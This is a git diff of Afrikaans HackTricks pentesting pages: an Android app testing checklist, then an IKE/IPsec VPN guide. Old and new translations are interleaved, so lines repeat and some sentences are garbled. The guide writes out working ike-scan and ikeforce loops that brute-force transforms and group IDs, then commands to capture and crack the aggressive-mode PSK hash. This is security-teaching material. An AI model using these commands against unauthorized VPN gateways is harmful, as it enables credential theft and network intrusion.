* [ ] Kontroleer vir die gebruik van [verduistering](android-checklist.md#some-obfuscation-deobfuscation-information), kontroleer of die foon gewortel is, of 'n emulator gebruik word en teen-bedrog kontroles. [Lees hierdie vir meer inligting](android-app-pentesting/#other-checks).
* [ ] Sensitiewe toepassings (soos banktoepassings) moet nagaan of die foon gewortel is en moet daarna optree.
* [ ] Soek na [interessante strings](android-app-pentesting/#looking-for-interesting-info) (wagwoorde, URL's, API, enkripsie, agterdeure, tokens, Bluetooth-uuid's...).
* [ ] Spesiale aandag aan [firebase ](android-app-pentesting/#firebase)API's.
* [ ] [Lees die manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Kyk of die toepassing in foutopsporingsmodus is en probeer dit "uitbuit"
* [ ] Kyk of die APK rugsteun toelaat
* [ ] Uitgevoerde aktiwiteite
* [ ] Kontroleer of die toepassing in foutopsporingsmodus is en probeer om dit "uit te buit"
* [ ] Kontroleer of die APK rugsteune toelaat
* [ ] Uitgevoerde Aktiwiteite
* [ ] Inhoudsverskaffers
* [ ] Blootgestelde dienste
* [ ] Uitsaai-ontvangers
* [ ] URL-skemas
* [ ] Stoor die toepassing data onveilig intern of ekstern op (android-app-pentesting/#insecure-data-storage)?
* [ ] Is daar enige wagwoord wat hardgekoded of op die skyf gestoor word (android-app-pentesting/#poorkeymanagementprocesses)? Gebruik die toepassing onveilige kriptografiese algoritmes (android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Is al die biblioteke gekompileer met die PIE-vlag?
* [ ] Moenie vergeet dat daar 'n klomp [statiese Android-analise-instrumente](android-app-pentesting/#automatic-analysis) is wat jou baie kan help gedurende hierdie fase.
* [ ] Stoor die toepassing data onveilig intern of ekstern?
* [ ] Is daar enige wagwoord wat hardgekoded of op die skyf gestoor is? Gebruik die toepassing onveilige kriptografie-algoritmes?
* [ ] Is al die biblioteke saamgestel met die PIE-vlag?
* [ ] Moet nie vergeet dat daar 'n klomp [statiese Android-analise-instrumente](android-app-pentesting/#automatic-analysis) is wat jou baie kan help gedurende hierdie fase.
### [Dinamiese Analise](android-app-pentesting/#dynamic-analysis)
* [ ] Berei die omgewing voor ([aanlyn](android-app-pentesting/#online-dynamic-analysis), [plaaslike VM of fisiese](android-app-pentesting/#local-dynamic-analysis))
* [ ] Is daar enige [onbedoelde datalek](android-app-pentesting/#unintended-data-leakage) (logboeke, kopieer/plak, foutlogboeke)?
* [ ] Is daar enige [onbedoelde datalek](android-app-pentesting/#unintended-data-leakage) (log, kopie/plak, kraslogboeke)?
* [ ] [Vertroulike inligting wat in SQLite-databasisse gestoor word](android-app-pentesting/#sqlite-dbs)?
* [ ] [Uitbuitbare blootgestelde aktiwiteite](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Uitbuitbare inhoudsverskaffers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [Uitbuitbare blootgestelde dienste](android-app-pentesting/#exploiting-services)?
* [ ] [Uitbuitbare uitsaai-ontvangers](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Stuur die toepassing inligting in duidelike teks/maak gebruik van swak algoritmes (android-app-pentesting/#insufficient-transport-layer-protection)? Is 'n MitM-aanval moontlik?
* [ ] [Uitbuitbare blootgestelde Aktiwiteite](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Uitbuitbare Inhoudsverskaffers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [Uitbuitbare blootgestelde Dienste](android-app-pentesting/#exploiting-services)?
* [ ] [Uitbuitbare Uitsaai-ontvangers](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Stuur die toepassing inligting in teks/maak gebruik van swak algoritmes oor die netwerk? Is 'n MitM moontlik?
* [ ] [Inspekteer HTTP/HTTPS-verkeer](android-app-pentesting/#inspecting-http-traffic)
* [ ] Hierdie een is baie belangrik, want as jy die HTTP-verkeer kan vasvang, kan jy soek na algemene webkwesbaarhede (Hacktricks het baie inligting oor webkwesbaarhede).
* [ ] Kyk vir moontlike [Android-kliëntkant-injeksies](android-app-pentesting/#android-client-side-injections-and-others) (waarskynlik sal sommige statiese kode-analise hier help)
* [ ] Hierdie is baie belangrik, want as jy die HTTP-verkeer kan vasvang, kan jy soek na algemene Web-kwesbaarhede (Hacktricks het baie inligting oor Web-kwesbaarhede).
* [ ] Kontroleer vir moontlike [Android-kliëntkant-inspuitings](android-app-pentesting/#android-client-side-injections-and-others) (waarskynlik sal 'n bietjie statiese kode-analise hier help)
* [ ] [Frida](android-app-pentesting/#frida): Net Frida, gebruik dit om interessante dinamiese data van die toepassing te verkry (miskien sommige wagwoorde...)
### Sommige obfuskasie/Deobfuskasie-inligting
### Sommige verduistering/Deverduistering-inligting
* [ ] [Lees hier](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<details>
Vind kw
* **Deel jou hacking truuks deur PRs in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy vir 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,35 +2,27 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Basiese Inligting
**IPsec** word algemeen erken as die belangrikste tegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en vanaf afgeleë gebruikers na die netwerkgateway (afgeleë toegang), en dien as die ruggraat vir ondernemings-VPN-oplossings.
**IPsec** word wyd erken as die belangrikste tegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-na-LAN) en vanaf afgeleë gebruikers na die netwerkgateway (afgeleë toegang), en dien as die ruggraat vir ondernemings-VPN-oplossings.
Die vestiging van 'n **sekuriteitsvereniging (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die beskerming van ISAKMP opereer, 'n protokol wat ontwerp is vir die outentifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:
Die vestiging van 'n **sekuriteitsvereniging (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die beskerming van ISAKMP opereer, 'n protokol wat ontwerp is vir die outentisering en sleuteluitruil. Hierdie proses ontvou in verskeie fases:
- **Fase 1:** 'n Veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Pre-Shared Key (PSK) of sertifikate, deur óf hoofmodus, wat drie pare boodskappe betrek, óf **aggressiewe modus**.
- **Fase 1.5:** Alhoewel dit nie verpligtend is nie, verifieer hierdie fase, bekend as die Uitgebreide Outentifikasiefase, die identiteit van die gebruiker wat probeer koppel deur 'n gebruikersnaam en wagwoord te vereis.
- **Fase 2:** Hierdie fase is gewy aan die onderhandeling van die parameters vir die beveiliging van data met **ESP** en **AH**. Dit maak die gebruik van algoritmes moontlik wat verskil van dié in Fase 1 om **Perfect Forward Secrecy (PFS)** te verseker, wat die sekuriteit verbeter.
- **Fase 1:** 'n veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Voorafgedeelde Sleutel (PSK) of sertifikate, wat óf hoofmodus, wat drie pare boodskappe behels, óf **aggressiewe modus** gebruik.
- **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Outentiseringsfase, die identiteit van die gebruiker wat probeer koppel deur 'n gebruikersnaam en wagwoord te vereis.
- **Fase 2:** Hierdie fase is toegewy aan die onderhandeling van die parameters vir die beveiliging van data met **ESP** en **AH**. Dit maak die gebruik van algoritmes moontlik wat verskil van dié in Fase 1 om **Volmaakte Voorwaartse Geheimhouding (PFS)** te verseker, wat die sekuriteit verbeter.
**Verstekpoort:** 500/udp
@ -45,11 +37,11 @@ PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Om 'n geldige transformasie te vind**
## **Die vind van 'n geldige transformasie**
Die IPSec-konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **enkripsie-algoritme**, SHA of MD5 as die **integriteitsalgoritme**, 'n vooraf gedeelde sleutel as die **outentiseringsmetode**, Diffie-Hellman 1 of 2 as die sleutel **verspreidingsalgoritme** en 28800 sekondes as die **lewensduur**.
Die IPSec konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **enkripsie algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **verifikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **distribusie algoritme** en 28800 sekondes as die **lewensduur**.
Die eerste ding wat jy moet doen, is om 'n geldige transformasie te vind, sodat die bediener met jou sal praat. Jy kan die hulpmiddel **ike-scan** gebruik om dit te doen. Standaard werk Ike-scan in hoofmodus en stuur 'n pakkie na die hekgat met 'n ISAKMP-kop en 'n enkele voorstel met **agt transformasies daarin**.
Dan is die eerste ding wat jy moet doen om 'n geldige transformasie te vind, sodat die bediener met jou sal praat. Om dit te doen, kan jy die gereedskap **ike-scan** gebruik. Standaard werk Ike-scan in hoofmodus en stuur 'n pakkie na die hekwag met 'n ISAKMP kop en 'n enkele voorstel met **agt transformasies daarin**.
Afhanklik van die respons kan jy inligting oor die eindpunt verkry:
```
@ -62,30 +54,30 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Soos u in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die VPN gekonfigureer is met 'n voorgeskrewe sleutel (en dit is regtig goed vir 'n pentester).\
Soos u in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die vpn ingestel is met 'n voorgedeelde sleutel (en dit is regtig goed vir 'n pentester).\
**Die waarde van die laaste lyn is ook baie belangrik:**
* _0 teruggekeerde handdruk; 0 teruggekeerde kennisgewing:_ Dit beteken die teiken is **nie 'n IPsec-hekwerk** nie.
* _**1 teruggekeerde handdruk; 0 teruggekeerde kennisgewing:**_ Dit beteken die **teiken is gekonfigureer vir IPsec en is gewillig om IKE-onderhandeling uit te voer, en een of meer van die voorgestelde transformasies is aanvaarbaar** ( 'n geldige transformasie sal in die uitset vertoon word).
* _0 teruggekeerde handdruk; 1 teruggekeerde kennisgewing:_ VPN-hekwerke reageer met 'n kennisgewing wanneer **geen van die transformasies aanvaarbaar is** (hoewel sommige hekwerke dit nie doen nie, in welke geval verdere analise en 'n hersiene voorstel geprobeer moet word).
* _0 teruggekeerde handdruk; 0 teruggekeerde kennisgewing:_ Dit beteken die teiken is **nie 'n IPsec-hek nie**.
* _**1 teruggekeerde handdruk; 0 teruggekeerde kennisgewing:**_ Dit beteken die **teiken is ingestel vir IPsec en is bereid om IKE-onderhandeling uit te voer, en een of meer van die transformasies wat u voorgestel het, is aanvaarbaar** ( 'n geldige transformasie sal in die uitset vertoon word).
* _0 teruggekeerde handdruk; 1 teruggekeerde kennisgewing:_ VPN-hekke reageer met 'n kennisgewing wanneer **geen van die transformasies aanvaarbaar is** (hoewel sommige hekke nie, in welke geval verdere analise en 'n hersiene voorstel geproe moet word).
In hierdie geval het ons reeds 'n geldige transformasie, maar as u in die 3de geval is, moet u 'n bietjie **brute force** gebruik om 'n geldige transformasie te vind:
Dan, in hierdie geval het ons reeds 'n geldige transformasie, maar as u in die 3de geval is, moet u 'n bietjie **brute-force om 'n geldige transformasie te vind:**
Eerstens moet u al die moontlike transformasies skep:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
En dan kragtige krag elkeen met behulp van ike-scan (dit kan verskeie minute neem):
En dan kragtig elkeen met ike-scan kragtig (dit kan verskeie minute neem):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
As die brute-force nie werk nie, is dit moontlik dat die bediener selfs sonder handskommunikasie reageer op geldige transformasies. Jy kan dan dieselfde brute-force probeer, maar in aggressiewe modus:
Indien die brute-krag nie werk nie, is dit moontlik dat die bediener selfs sonder handsklakke reageer op geldige transformasies. Dan kan jy dieselfde brute-krag probeer, maar met aggressiewe modus:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Hopelik word **'n geldige transformasie teruggestuur'**.\
Hopelik **'n geldige transformasie word teruggekaats**.\
Jy kan die **selfde aanval** probeer met behulp van [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Jy kan ook probeer om transformasies met **ikeforce** te kragtig te breek met [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
Jy kan ook probeer om transformasies met geweld te krag met [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
@ -94,15 +86,15 @@ Jy kan ook probeer om transformasies met **ikeforce** te kragtig te breek met [*
In **DH Groep: 14 = 2048-bit MODP** en **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (in hierdie geval). Die `--trans` formaat is $Enc,$Hash,$Auth,$DH**
Cisco dui aan dat dit beter is om nie DH groepe 1 en 2 te gebruik nie omdat hulle nie sterk genoeg is nie. Kenners glo dat **lande met baie hulpbronne maklik die versleuteling** van data wat hierdie swak groepe gebruik, kan breek. Dit word gedoen deur 'n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie geld kos om hierdie metode op te stel, stel dit hierdie magtige lande in staat om die versleutelde data in werklike tyd te lees as dit 'n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).
Cisco dui aan dat dit beter is om DH groepe 1 en 2 te vermy omdat hulle nie sterk genoeg is nie. Kenners glo dat **lande met baie hulpbronne die versleuteling** van data wat hierdie swak groepe gebruik, maklik kan breek. Dit word gedoen deur 'n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie geld kos om hierdie metode op te stel, stel dit hierdie magtige lande in staat om die versleutelde data in werklike tyd te lees as dit 'n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).
### Server vingerafdruk
### Bediener vingerafdruk
Daarna kan jy ike-scan gebruik om te probeer **ontdek wie die vervaardiger** van die toestel is. Die instrument stuur 'n aanvanklike voorstel en stop om te herhaal. Dan sal dit die **tydverskil analiseer** tussen die ontvangste boodskappe van die bediener en die ooreenstemmende responspatroon, sodat die pentester die VPN-hekwerkvervaardiger suksesvol kan identifiseer. Verder sal sommige VPN-bedieners die opsionele **Vendor ID (VID) payload** met IKE gebruik.
Daarna kan jy ike-scan gebruik om te probeer **ontdek wie die vervaardiger** van die toestel is. Die instrument stuur 'n aanvanklike voorstel en hou op om te herhaal. Dan sal dit **analiseer** die **tydverskil** **tussen** die ontvangs **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon, die pentester kan suksesvol die VPN-hekgateway-vervaardiger identifiseer. Verder sal sommige VPN-bedieners die opsionele **Vervaardiger ID (VID) lading** met IKE gebruik.
**Spesifiseer die geldige transformasie indien nodig** (deur --trans te gebruik)
As IKE uitvind wie die vervaardiger is, sal dit dit druk:
As IKE ontdek wie die vervaardiger is, sal dit dit druk:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -122,54 +114,50 @@ IP Address No. Recv time Delta Time
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Dit kan ook bereik word met die nmap-skripsie _**ike-version**_
Dit kan ook bereik word met die nmap-skrip _**ike-version**_
## Die regte ID (groepnaam) vind
## Vind die korrekte ID (groepnaam)
Om toestemming te hê om die has te kan vasvang, het jy 'n geldige transformasie nodig wat Aggressiewe modus ondersteun en die regte ID (groepnaam). Jy sal waarskynlik nie die geldige groepnaam weet nie, so jy sal dit moet kragtig afdwing.\
Om toestemming te kry om die hash vas te vang, het jy 'n geldige transformasie nodig wat Aggressiewe modus ondersteun en die korrekte ID (groepnaam). Jy sal waarskynlik nie die geldige groepnaam weet nie, dus sal jy dit moet kragtig aanval.\
Om dit te doen, sal ek jou 2 metodes aanbeveel:
### ID kragtig afdwing met ike-scan
### Kragtig aanval van ID met ike-scan
Eerstens, probeer 'n versoek maak met 'n vals ID om die has te probeer vasvang ("-P"):
Probeer eerstens 'n versoek met 'n vals ID maak om die hash te versamel ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
As **geen has teruggekeer word nie**, sal hierdie metode van brute forcing waarskynlik werk. **As 'n sekere has teruggekeer word, beteken dit dat 'n vals has teruggestuur gaan word vir 'n vals ID, so hierdie metode sal nie betroubaar wees** om die ID te brute-force nie. Byvoorbeeld, 'n vals has kan teruggestuur word (dit gebeur in moderne weergawes):
Indien **geen has teruggekeer word**, sal hierdie metode van bruto krag dalk werk. **Indien 'n has teruggekeer word, beteken dit dat 'n valse has terug gestuur gaan word vir 'n valse ID, so hierdie metode sal nie betroubaar wees** om die ID te bruto-krag nie. Byvoorbeeld, 'n valse has kan teruggekeer word (dit gebeur in moderne weergawes):
![](<../.gitbook/assets/image (110).png>)
Maar as soos ek gesê het, geen has teruggekeer word nie, moet jy probeer om algemene groepname te brute-force met behulp van ike-scan.
Maar soos ek gesê het, indien geen has teruggekeer word nie, moet jy probeer om algemene groepname te bruto-krag met behulp van ike-scan.
Hierdie skrip **sal probeer om moontlike IDs te brute-force** en sal die IDs teruggee waar 'n geldige handshake teruggekeer word (dit sal 'n geldige groepnaam wees).
Hierdie skripsie **sal probeer om moontlike ID's te bruto-krag** en sal die ID's teruggee waar 'n geldige handdruk teruggekeer word (dit sal 'n geldige groepnaam wees).
As jy 'n spesifieke transformasie ontdek het, voeg dit by die ike-scan bevel. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om almal te probeer (jy moet almal probeer totdat een van hulle behoorlik werk).
Indien jy 'n spesifieke transformasie ontdek het, voeg dit by in die ike-scan bevel. En indien jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) of [die een in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) van algemene groepname gebruik om hulle te brute-force:
Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) of [die een in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) van algemene groepname gebruik om hulle te bruto-krag:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
Of gebruik hierdie woordeboek (dit is 'n kombinasie van die ander 2 woordeboeke sonder herhalings):
### Bruteforcing ID with Iker
{% file src="../.gitbook/assets/vpnIDs.txt" %}
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) gebruik ook **ike-scan** om moontlike groepname te brute force. Dit volg sy eie metode om **'n geldige ID te vind gebaseer op die uitset van ike-scan**.
### Bruteforce ID met Iker
### Bruteforcing ID met ikeforce
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) gebruik ook **ike-scan** om moontlike groepname te bruteforce. Dit volg sy eie metode om 'n geldige ID te vind gebaseer op die uitset van ike-scan.
### Bruteforce ID met ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n instrument wat gebruik kan word om IDs ook te bruteforce. Hierdie instrument sal probeer om verskillende kwesbaarhede uit te buit wat gebruik kan word om tussen 'n geldige en 'n nie-geldige ID te onderskei (dit kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik as dit moontlik is).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n instrument wat ook gebruik kan word om **IDs te brute force**. Hierdie instrument sal **verskeie kwesbaarhede probeer uitbuit** wat gebruik kan word om **te onderskei tussen 'n geldige en 'n nie-geldige ID** (dit kan valse positiewe en valse negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik as moontlik).
Standaard sal **ikeforce** aan die begin 'n paar lukrake IDs stuur om die gedrag van die bediener te toets en die taktiek te bepaal.
* Die **eerste metode** is om die groepname te bruteforce deur te soek na die inligting **Dead Peer Detection DPD** van Cisco-stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepnaam korrek is).
* Die **tweede metode** wat beskikbaar is, is om die aantal antwoorde wat na elke poging gestuur word, te **kontroleer**, omdat soms meer pakkies gestuur word wanneer die korrekte ID gebruik word.
* Die **derde metode** behels die soeke na "INVALID-ID-INFORMATION" as antwoord op 'n ongeldige ID.
* As die bediener natuurlik niks antwoord op die toetse nie, sal **ikeforce** probeer om die bediener te bruteforce en te kyk of die bediener antwoord met 'n paar pakkies wanneer die korrekte ID gestuur word.\
Die doel van die bruteforce van die ID is natuurlik om die **PSK** te kry as jy 'n geldige ID het. Dan sal jy met die **ID** en **PSK** die XAUTH moet bruteforce (as dit geaktiveer is).
* Die **eerste metode** is om die groepname te brute force deur te **soek** vir die inligting **Dead Peer Detection DPD** van Cisco-stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepnaam korrek is).
* Die **tweede beskikbare metode** is om **die aantal antwoorde wat na elke poging gestuur word te kontroleer** omdat soms meer pakkies gestuur word wanneer die korrekte ID gebruik word.
* Die **derde metode** behels **soek na "ONGELDIGE-ID-INLIGTING" in reaksie op 'n ongeldige ID**.
* Laastens, as die bediener niks terugstuur na die kontroles nie, sal **ikeforce** probeer om die bediener te brute force en te kyk of wanneer die korrekte ID gestuur word, die bediener met 'n paar pakkies antwoord.
Duidelik is die doel van die brute force van die ID om die **PSK** te kry wanneer jy 'n geldige ID het. Dan, met die **ID** en **PSK** sal jy die XAUTH moet brute force (indien dit geaktiveer is).
As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om almal te probeer (jy moet almal probeer totdat een van hulle behoorlik werk).
As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -178,15 +166,15 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Snuffel ID
### Sniffing ID
(Uit die boek **Netwerk Sekuriteitsassessering: Ken Jou Netwerk**): Dit is ook moontlik om geldige gebruikersname te verkry deur die snuffel van die verbinding tussen die VPN-kliënt en bediener, aangesien die eerste aggressiewe modus-pakket wat die kliënt-ID bevat, in die oop gestuur word.
(Van die boek **Netwerk Sekuriteitsevaluasie: Ken Jou Netwerk**): Dit is ook moontlik om geldige gebruikersname te verkry deur die verbinding tussen die VPN-klient en bediener af te luister, aangesien die eerste aggressiewe modus-pakket wat die klient-ID bevat, in die oop gestuur word
![](<../.gitbook/assets/image (111).png>)
## Vaslegging en kraak van die has
## Vang & kraak die has
Uiteindelik, as jy 'n **geldige transformasie** en die **groepnaam** gevind het en as die **aggressiewe modus toegelaat word**, kan jy baie maklik die kraakbare has gryp:
Laastens, as jy 'n **geldige transformasie** en die **groepnaam** gevind het en as die **aggressiewe modus toegelaat word**, kan jy baie maklik die kraakbare has gryp:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
@ -198,32 +186,30 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Aggressiewe modus IKE** saam met 'n **Pre-Shared Key (PSK)** word algemeen gebruik vir **groepverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Uitgebreide Verifikasie)**, wat 'n addisionele laag van **gebruikersverifikasie** inbring. Sulke verifikasie maak gewoonlik gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of vergelykbare stelsels.
**Aggressiewe modus IKE** gekombineer met 'n **Voorafgedeelde Sleutel (PSK)** word gewoonlik gebruik vir **groepverifikasie** doeleindes. Hierdie metode word aangevul deur **XAuth (Uitgebreide Verifikasie)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of vergelykbare stelsels.
By die oorgang na **IKEv2**, word 'n merkbare verskuiwing waargeneem waar **EAP (Uitbreibare Verifikasieprotokol)** gebruik word in plaas van **XAuth** om gebruikers te verifieer. Hierdie verandering beklemtoon 'n evolusie in verifikasiepraktyke binne veilige kommunikasieprotokolle.
Met die oorgang na **IKEv2**, word 'n merkbare skuif waargeneem waar **EAP (Uitbreibare Verifikasieprotokol)** gebruik word in plaas van **XAuth** vir die doel van gebruikersverifikasie. Hierdie verandering beklemtoon 'n evolusie in verifikasiepraktyke binne veilige kommunikasieprotokolle.
### Plaaslike netwerk MitM om geloofsbriewe vas te vang
